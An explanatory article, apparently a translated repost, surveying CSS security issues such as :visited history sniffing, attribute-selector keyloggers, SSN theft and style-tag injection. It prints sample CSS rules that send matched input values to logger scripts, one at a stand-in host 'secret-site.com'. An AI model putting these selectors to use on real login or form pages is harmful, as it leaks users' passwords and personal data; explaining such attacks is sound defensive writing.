CSS Security Vulnerabilities

Don't panic! CSS itself is not a major security risk, and in most cases there is no need to worry too much.

However, some articles will discuss potentially surprising and even worrying features of CSS. Let's summarize:

Link issues that have been visited

The problem is described as follows:

1. There is a link on the website to a specific page, such as Tickle Pigs .
2. You use the :visited style to set the color of the visited link, such as a:visited { color: pink; } , which is not the default user agent style.
3. You test the calculation style of the link.
4. If the color is pink, it means that the user has visited the page.
5. You report this information to a server and perform certain actions accordingly (such as increasing the insurance premium rate).

You might even do this with CSS completely, because the :visited style may contain background-image: url(/data-logger/tickle.php); , which will only be requested by users who have visited the page.

Don't worry! Browsers have blocked this attack.

Keylogger

The problem is described as follows:

1. There is an input box on the page, probably a password input box.
2. You take a record script as the background image of the input box and add a large number of selectors to collect password information.

 input[value^="a"] { background: url(logger.php?v=a); }

This is not easy to achieve. value attribute of the input box will not change immediately due to user input. But in frameworks like React, this happens sometimes. So, in theory, this CSS keylogger might work if you add this CSS to a login page built with React.

However, in this case, the JavaScript code has been executed on the page. For such attacks, JavaScript is much more dangerous than CSS. The JavaScript keylogger monitors key events and reports them through Ajax with just a few lines of code.

Content Security Policy (CSP) can block inline JavaScript injected by third parties and XSS...and of course, it can also block CSS.

Data Theft

The problem is described as follows:

1. If I can add malicious CSS to the page of the website you are logged in...
2. And the website displays sensitive information, such as a Social Security Number (SSN), pre-filled in the form...
3. I can get it with the property selector.

 input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

With a large number of selectors, you can cover all possibilities!

Inline style block problem

I'm not sure if this should be blamed on CSS, but imagine:

 ... Insert some user generated content...

Maybe you allow the user to customize some CSS. This is an attack vector because they can close style tags, open script tags, and write malicious JavaScript code.

There are definitely more

Have you thought of it? Share it.

I'm skeptical of the level of fear of CSS security vulnerabilities. I don't want to over-the-top the security issues (especially third-party issues) because I'm not an expert and safety is crucial. But at the same time, I've never heard of CSS becoming any attack vector other than thought experiments. Please teach me!

The above is the detailed content of CSS Security Vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!